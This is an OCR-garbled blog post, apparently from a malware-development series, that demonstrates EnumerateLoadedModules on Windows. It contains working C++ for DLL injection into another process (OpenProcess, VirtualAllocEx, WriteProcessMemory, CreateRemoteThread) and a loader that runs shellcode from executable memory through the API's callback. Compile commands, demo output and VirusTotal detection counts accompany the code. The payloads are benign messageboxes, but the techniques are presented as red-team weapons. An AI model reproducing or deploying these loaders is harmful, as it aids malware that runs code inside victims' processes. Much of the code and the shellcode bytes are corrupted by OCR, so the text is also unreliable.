Malware development tricks: part 25.
EnumerateLoadedModules. C++ example.
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Hello, cybersecurity enthusiasts and white hackers!

<windows.h>
<dbghelp.h>
L win10-x64 (peekabeo) [Running] - Oracle VM VirtualBox

unsigned- char my_payload[] =

File Machine View Input Devices Help

b64144ccF1df_6.8.17134.112_non

64144 ccFIdf_1.1.17134.112_

",
i

int main(int argc, char* argv[])
LPVOID mem = VirtualAlloc(NULL,
Rt1MoveMemory (mem, my payload, sizeof(
EnumeratelLoadedModules(GetCurrentProce

0;
! HH O Type here to search fu i > R, a ) e

NORMAL EIETS &) B 0¥ # MBS Ui 6 0 Right Ctrl
"hack3.cpp" 40L, 1927B written

This post is the result of my own research into the malware dev trick: shellcode running via
EnumeratelLoadedModules.

listing the loaded modules

EnumerateLoadedModules APl can be used to retrieve an application’s loaded modules.
Using this API, the list of loaded modules can be dumped for debugging purposes during the
development of error handler frameworks, crash dumps, etc:
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BOOL IMAGEAPI EnumeratelLoadedModules(

[in] HANDLE hProcess,
[in] PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback,
[in, optional] PVOID UserContext

)i

For calling EnumerateLoadedModules we need to provide a callback pointer. The
EnumerateLoadedModules will send the loaded module information as callback to that
provided function.

practical example 1. print modules

For example, first of all create simplest callback function:

BOOL CALLBACK PrintModules(

PSTR ModuleName,

ULONG ModuleBase,

ULONG ModuleSize,

PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;

Then, just use this function as a second argument:

EnumeratelLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);

So, full code is something like this:
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#include <iostream>
#include <windows.h>
#include <dbghelp.h>

#pragma comment (lib, "dbghelp.lib")

// callback function
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;

int main(int argc, char *argv[]) {
// inject a DLL into remote process
HANDLE ph = GetCurrentProcess();
// enumerate modules
printf("\nenumerate modules... \n");
EnumeratelLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
return 0;

demo 1

Let’s go to see first example in action. Compile our script hack.cpp:

x86_64-w64-mingw32-g++ -02 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -ldbghelp

~/hacking/cybersec_blog/2022-12-21-malware-tricks-25]
) -g++ hack.cpp hack.exe

) - [~/hacking/cybersec_blog/2022-12-21-malware-tricks-25]

Ls 1s

total 896K
-rwxr-xr-x 1 cocomelonc cocomelonc 891K Dec 21 21:47 hack.exe
-rw-r--r-- 1 cocomelonc cocomelonc 578 Dec 21 18:56 hack.cpp

Then, just run on Windows machine (Windows 10 x64 in our case):

.\hack.exe
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ntdll.dll

.DLL
KERMELBASE .d11
apphelp.dll
msvort.dll
dbghelp.dll
Wwecrtbase.dll

<iostream>
<windows.h>
<dbghelp.h>

#pragma comment (lib, "dbghelp.lib")

BOOL - CALLBACK PrintModules( L Win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox
PSTR ModuleName, File Machine View
ULONG ModuleBase,

ULONG ModuleSize, B0l = o ronesrer
Recy ¥ :

Input Devices Help

PVOID UserContext) {

printf(" ", ModuleName);
- H
int main(int argc, char *argv[])
HANDLE ph = GetCurrentProcess();
printf("\nenumerate modules... "),

EnumeratelLoadedModules(ph, (PENUMLOADE 55'
0; T

sh

As you can see, everything is worked perfectly!

practical example 2. inject dll

Let's say we have a malware with classic DLL injection logic hack2. cpp:
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#include <iostream>
#include <windows.h>

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char *argv[]) {
// inject a DLL into remote process
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *1b = GetProcAddress(hKernel32, "LoadLibraryA");

HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
LPVOID rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

WriteProcessMemory(ph, rb, evilDLL, evillLen, NULL);
HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb,
NULL);

CloseHandle(ph);
return 0;

And then, we modify this code a little bit: we add EnumerateLoadedModules API call with

previous callback function:
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/*

hack2.cpp

DLL inject to process

author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/21/malware-tricks-25.html
*/

#include <iostream>

#include <windows.h>

#include <dbghelp.h>

#pragma comment (lib, "dbghelp.lib")

char evilDLL[] = "C:\\evil.dll";
unsigned int evillLen = sizeof(evilDLL) + 1;

// callback function
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;

int main(int argc, char *argv[]) {
// inject a DLL into remote process

HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *1b = GetProcAddress(hKernel32, "LoadLibraryA");

HANDLE ph OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
LPVOID rb = VirtualAllocEx(ph, NULL, evillLen, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes

WriteProcessMemory(ph, rb, evilDLL, evillLen, NULL);

HANDLE rt = CreateRemoteThread(ph, NULL, ©, (LPTHREAD_START_ROUTINE)lb, rb, O,
NULL);

// enumerate modules

printf("\nenumerate modules... \n");

EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
CloseHandle(ph);

return 0,

For simplicity, as usually, my “evil” DLL is just mneow messagebox (evil.c):
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/*

evil.c

simple DLL for DLL inject to process
author: @cocomelonc

https://cocomelonc.github.io/malware/2022/12/21/malware-tricks-25.html

*/

#include <windows.h>
#pragma comment (lib, "user32.1ib")

BOOL APIENTRY Dl1lMain(HMODULE hModule, DWORD nReason,

switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
NoA A=
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

’

}
return TRUE;

demo 2

LPVOID lpReserved) {

Let’s go to see everything in action again.

First of all, compile our “evil” DLL:

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

=[l= /hacklng/cybersec blog/2022-12-21-malware-tricks-25]

evil.d1l evil.c

) - [~/hacking/cybersec_blog/2022-12-21-malware-tricks-25]

cocomelonc cocomelonc 92739 Dec
cocomelonc cocomelonc 911872 Dec
cocomelonc cocomelonc 912384 Dec
cocomelonc cocomelonc 1115 Dec
cocomelonc cocomelonc 562 Dec
cocomelonc cocomelonc 578 Dec

At the next step, compile our DLL injecting malware:

21
21

22:
21:

01
47

evil.dll
hack.exe
hack2.exe
hack2.cpp
evil.c

hack. cpp
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x86_64-w64-mingw32-g++ -02 hack2.cpp -o hack2.exe -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -ldbghelp

~/hacking/cybersec_blog/2622-12-21-malware-tricks-25]
++ hack2.cpp hack2.

cpp: In function ‘int main(int, char**)’:
.Cpp:25:28: invalid conversion from ‘FARPROC’ {aka ‘long long int (*)()'} to ‘void*’ [
| VOID *1b =

) - [~/hacking/cybersec_blog/2022-12-21-malware-tricks-25]

cocomelonc cocomelonc 912384 Dec 21 :04 hack2.exe
cocomelonc cocomelonc 92739 Dec 21 i evil.dll
cocomelonc cocomelonc 911872 Dec 21 H hack.exe
cocomelonc cocomelonc 1115 Dec 21 H hack2.cpp
cocomelonc cocomelonc 562 Dec 21 3 evil.c

cocomelonc cocomelonc 578 Dec 21 q hack.cpp

And finally, run it for mspaint.exe process on victim’s machine (Windows 10 x64 in my
case):

.\hack2.exe <mspaint PID>

win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box

Input Devices Help

common-contr b&4144ccfldf_E

54144ccfldf_1.1.17134.112_none gdiplus.dll

Home View

sk (‘ Meow from evil.dll! U ’ . o

pboard Image Tools Brush| ors  Edit with  Product

g ; : Paint3D  alert

Inpu cli

& (Ctrl+K) 2

-malware-trif

lnUser
JUser

lwhUser
lnUser

22/2022

2 ¥ 143 £ Right Ctrl

8/13



#pragma comment - (lib, "dbghelp.lib")

char evilDLL[] = "C:\\evil.dll";
unsigned-int-evillen = 4 (evilDLL) + =2

File

BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {

printf(" ", ModuleName) ;
TRUE;
}
int main(int argc, char *argv[]) {

HMODULE  hKernel32 = GetModuleHandle("k L
VOID *1b = GetProcAddress (hKernel32, " ¢

HANDLE ph = OpenProcess(PROCESS ALL AC g

LPVOID rb VirtualAllocEx(ph, NULL, €

WriteProcessMemory(ph, rb, evilDLL, ev b
HANDLE rt = CreateRemoteThread(ph, NUL

As you can see, our callback function printed our “evil” DLL. Perfect!

practical example 3. shellcode running via callback function.

IC:\

Hacker  View

Tools Users Help

win10-x64 (peekabeo) [Running] - Oracle VM VirtualBex

 Refresh 13 Options | #8 Find handles or DLLs

Processes

Naturde Disk

Name

[5] RuntimeBs
& Searchind
2l mspaint.ef
[ dilhost.ex
[ svehost.ex

[ SgrmBroker.

Meow from evil.dil;

Search Pro

[ conhost.exe

irs|

CPU /Ototal ..

Private b,
7.06 MB
18.95MB
853MB

1.6MB
178 MB
136 MB

354MB

User name

WINDOWS-VIH. .\User

WINDOWS-VIH...\User
WINDOWS-VIH...\User

WINDOWS-VSH...\User

CPU Usage: 5.63%  Physical memory: 1,18 GB (37.85%) Processes: 66

This is the most interesting example. It turns out that you can run shellcode using the

callback function in this API:
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/*

* hack3.cpp - run shellcode via EnumeratelLoadedModules. C++ implementation

*

* https://cocomelonc.github.io/malware/2022/12/21/malware-tricks-25.html

*/
#1
#i

un

in

@cocomelonc

nclude <windows.h>
nclude <dbghelp.h>

signed char my_payload[] =

// 64-bit meow-meow messagebox
"\XFc\x48\x81\xed\xFO\XTFF\XFFAXFF\xe8\xdO\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\Xx3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\Xx00\x00\x48\x85\xcO\x74\x6f"
"\x48\x01\xdO\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\X01\xdO\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\Xx8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xeN\ x4\ X FF\XFF\xFf\x5d\x49\xc7"
"\XC1\X00\X00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xed0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0d"
"\X75\X05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89\xda\xff"
"\Xxd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6T\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

t main(int argc, char* argv[]) {

LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT,

PAGE_EXECUTE_READWRITE);

NU

If you have been reading my blog for a long time, then | think you have a deja vu. As you can
see, it's similar to run shellcode via EnumDesktopsA and EnumChildWindows. The only
difference is just add dbghelp.h. As usually, for simplicity | used meow-meow messagebox

Rt1MoveMemory(mem, my_payload, sizeof(my_payload));

EnumerateLoadedModules(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK)menm,

LL);
return 0;

payload:
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unsigned char my_payload[] =

// 64-bit meow-meow messagebox
"\XFc\x48\x81\xed\xFO\XTFF\XTFFAXxFfF\xe8\xdO\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\Xx3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\Xx00\x00\x48\x85\xcO\x74\x6f"
"\Xx48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\Xx01\xd0\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\xe1"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\X75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xeN\ x4\ X FF\XFF\xFf\x5d\x49\xc7"
"\XCI1\X00\X00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xFf\xd5\xbb\xed0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xed"
"\X75\Xx05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6T\x77\x21\x00\x3d\x5¢e"
"\x2e\x2e\x5e\x3d\x00";

demo 3

Let’s go to see running shellcode in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -02 hack3.cpp -o hack3.exe -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -ldbghelp

) - [~/hacking/cybersec_blog/2022-12-21-malware-tricks-25
64-mingw32-g++ hack3.cpp hack3.exe

) - [~/hacking/cybersec_blog/2022-12-21-malware-tricks-25

-rwxr-xr-x 1 cocomelonc cocomelonc 15360 Dec :21 hack3.exe
-rW-r--r-- cocomelonc cocomelonc 1979 Dec :21 hack3.cpp
-rW-r--r-- cocomelonc cocomelonc 1115 Dec :12 hack2.cpp
-rwxr-xr-x 1 cocomelonc cocomelonc 912384 Dec :04 hack2.exe
- rWXr-Xr-x cocomelonc cocomelonc 92739 Dec :01 evil.dll
-rwxr-xr-x 1 cocomelonc cocomelonc 911872 Dec 21:47 hack.exe
-rw-r--r-- cocomelonc cocomelonc 562 Dec 159 evil.c

-rw-r--r-- cocomelonc cocomelonc 578 Dec :56 hack.cpp

Then, run on a victim’s machine:

.\hack3.exe
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<windows.h>
<dbghelp.h>

L win10-x64 (peekabeo) [Running] - Oracle VM VirtualBox

unSignEd char mY,payload[] =i File Machine View Input Devices Help

s
B
C:\Windows\system32\MFCA2u.d11
RecC: \windows \Winsxs\amd64_microsoft . windows .common-controls_6595b64144CcFldf 6.6.17134.112 none fb3fI61030681C12\COMCTLIR.
d11

C:\Windows\system32\PROPSYS .d11
\Windows\system32\WINMM . d11
\indows\syst em32\WINMMBASE . d11
\Windows\SYSTEM32\ninput .d11
\Windows \WinSxS\amd64_microsoft .windows .gdiplus_6595b64144ccfldf 1.1.17134.112_none_2c2aB99@BafadSed\gdiplus .1l
\Windows\system32\uxtheme.dll
\Windows\system32\MSFTEDIT.DLL
Mindows\System32\clbcatq.dll
C: \Windows\systen32\UTRibbon. d11
: \Windows \system32\XmlLite.d11
\Windows\System32\efswrt .11
\Windows\SYSTEM32\wintypes.dll
\Windows\System32\twinapi.appcore.dll
\Windows\Systen32\RMCLIENT.d11
\Windows\System32\MSCTF .d11
\Windows\System32\sti.dll
_C: \Windows\SYSTEM32\wiatrace.d11
: \Windows \system32\dwmapi .d11
\Windows\SYSTEM32\at1thunk.d11

\Mindows\system32\windowscodecs. d11
\Windows\System32\oleacc.dll

\Windows\System32\Text InputFramework .d11
\Windows\System32\CoreUTComponents.d11
\Windows\System32\CoreMessaging.d11
\Windows\SYSTEM32\ntmarta.d11 Meow-meow!
PIC:\evil.dll

HPS 7:12622-12-21-malware-tricks-25> .\hack3.exe

H..AUser

int main(int argc, char* argv[]) {
LPVOID mem = VirtualAlloc(NULL,
RtlMoveMemory (mem, my_payload, sizeof (
EnumeratelLoadedModules (GetCurrentProce
0; :
O Type here to £ AmTD) 1;/320’22 cl

hack3.cpp B0 )T & HE L T 6 8 Right Ctrl

"hack3.cpp" 40L, 1927B written

<windows.h>
<dbghelp.h>

L] Win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox
unSIQnEd char my_payload[] = File Machine View Input Devices Help

P

C: \Mindows\system32\MFC42u . d11
Rece: \indows \WinSxS\amd64_mi crosoft .windows . common- controls_6595b64144ccF1df_6.6.17134.112_none_fb3F9561b30681c12\CONCTL32

a1
:\Windows\system32\PROPSYS. d11
: \Windows\system32\WINMM. d11
\Mindows \sy st em32\WINMMBASE .d11
\Windows\SYSTEM32\ninput .d11
+ \Windows \Wi nSxS\ amde4_mi crosoft .windows . gdiplus_6595064144€CF1df_1.1.17134.112_none_2c2a89808aFag5e0\gdiplus .d11
:\Windows\system32\uxtheme. dl1
: \Windows\system32\MSFTEDIT.DLL
\Mindows\System32\clbcatq.dll
\Windows\system32\UTRibbon..d11
:\Windows\system32\xmlLite.dll
C: \Windows\System32\efswrt. d1l
: \Windows\SYSTEM32\wintypes.d11
\Windows\System32\twinapi .appcore.d1l
\Windows\System32\RMCLTENT .d11
: \Windows\System32\MSCTF .d11
$\Windows\System32\sti.d11l
: \Windows\SYSTEM32\wiatrace.d11
\Mindows \sy st em32\dwnapi .d11
\Windows\SYSTEM32\at1thunk.d11
: \Windows\System32\msxnl6.dll
\Windows\syst em32\windowscodecs . d11
\Mindows\System32\oleacc.d11
\Mindows \System32\TextInputFramework.d11
\Windows\Syst em32\ CoreUTIComponents .11
\Windows\System32\CoreMessaging.dll
:\Windows\SYSTEM32\ntmarta. d11 Meow-meow!
PiC:\evil.dll
HePS 7:12022-12-21-malware-tricks-25> .\hack3.exe

H.\User  RuV
>

int main(int argc, char* argv[]) {
LPVOID mem = VirtualAlloc(NULL,
RtlMoveMemory (mem, my_payload, sizeof(
EnumeratelLoadedModules (GetCurrentProce
1:24 AM

O-
! o searc i B oAmD) e O

}
NORMAL RIETH Ees]s) BONT #mE ST G0 Right Ctrl
"hack3.cpp" 46L, 1927B

As you can see everything is worked perfectly, as expected!

Let’s go to upload hack3.exe to VirusTotal:




ST a

17 ‘ (D 17 security vendors and no sandboxes flagged this file as malicious o X
m

1>
O
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DETECTION ~ DETAILS  BEHAVIOR O COMMUNITY
Security Vendors' Analysis ()

Acronis (Static ML) @ suspicious Ad-Aware (@ Generic.Shellcode Marte.F.C4DD0131
ALvac (D Generic.shellCode Marte F.C4DDO131 Arcabit (D Generic.shellcode Marte.F.C4DDO131
BitDefender (D Generic.shellCode Marte F.C4DDO131 Cybereason (@ Malicious.45b43c

Cynet (@ Malicious (score: 100) Elastic (@ Malicious (high Gonfidence)

Emsisoft (D Generic.shellCode Marte F.C4DD0131 (8) escan (D Generic.shellcode Marte.F.C4DDO131
GData (D Generic.shellCode Marte F.C4DDO131 Kaspersky (D HEURTrojan.Win32.Generic

MAX (@ Malware (ai Score=86) symantec @® Meterpreter

Trellx (FireEye) () Generic.mg bbb750645b43c6fb VIPRE (D Generic.shellcode Marte.F.C4DDO131
ZoneAlarm by Check Point (D) HEURTrojan.Win32 Generic AhnLab-v3 (@) Undetected

Alibaba ©) undetected Antiy-AVL © Undetected

Avast ©) Undetected G ©) Undetected

Avira (no cloud) ©) Undetected Baidu © Undetected

BitDefenderTheta ©) Undetected BkavPro ©) Undetected

So, 20 of 71 AV engines detect our file as malicious.

https://www.virustotal.com/qgui/file/6fe8e9fe9593780a620903a33d3fda025946e770781eb997

490c109fd95303ed/detection

| hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.

Enumeratel oadedModules

Classic DLL injection

Malware dev tricks. Run shellcode via EnumChildWindows
Malware dev tricks. Run shellcode via EnumDesktopsA
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://www.virustotal.com/gui/file/6fe8e9fe9593780a620903a33d3fda025946e770781eb997490c109fd95303ed/detection
https://learn.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-enumerateloadedmodules
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
https://cocomelonc.github.io/malware/2022/07/13/malware-injection-21.html
https://cocomelonc.github.io/tutorial/2022/06/27/malware-injection-20.html
https://github.com/cocomelonc/meow/tree/master/2022-12-21-malware-tricks-25

